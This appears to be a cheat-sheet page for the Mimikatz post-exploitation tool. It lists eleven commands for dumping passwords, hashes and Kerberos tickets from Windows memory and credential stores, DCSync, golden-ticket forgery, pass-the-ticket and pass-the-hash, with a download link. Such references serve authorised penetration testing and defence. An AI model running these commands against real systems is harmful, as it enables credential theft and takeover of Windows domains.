Skip to content

Mimikatz

11 commands

The classic Windows post-exploitation tool for extracting plaintext passwords, hashes and Kerberos tickets from memory, and for pass-the-hash, pass-the-ticket and golden-ticket attacks.

  • Active Directory
  • credentials
  • Kerberos
  • post-exploitation

Install Mimikatz

Download signed binaries from https://github.com/gentilkiwi/mimikatz/releases

Credentials5

privilege::debug

Enables the debug privilege; most credential commands need it. Run mimikatz as administrator first.

sekurlsa::logonpasswords

Dumps plaintext passwords, NT hashes and Kerberos tickets for logged-on users from LSASS memory.

sekurlsa::ekeys

Extracts Kerberos encryption keys, including AES, from memory.

lsadump::sam

Dumps local account hashes from the SAM.

lsadump::lsa /patch

Dumps LSA secrets and cached domain credentials.

Kerberos tickets4

sekurlsa::tickets /export

Exports all Kerberos tickets in memory to .kirbi files for pass-the-ticket.

kerberos::ptt <ticket>.kirbi

Injects a ticket into the current session (pass-the-ticket).

Link
lsadump::dcsync /domain:<domain> /user:<user>

DCSync: pulls a user’s hashes from a DC, famously the krbtgt key for golden tickets.

Link
kerberos::golden /user:<user> /domain:<domain> /sid:<sid> /krbtgt:<hash> /ptt

Forges and injects a golden ticket from the krbtgt hash.

Link

Pass-the-hash2

sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<hash> /run:<cmd>

Starts a process in the context of a user using only their NT hash.

Link
crypto::capi / crypto::cng

Makes non-exportable certificate private keys exportable.

Link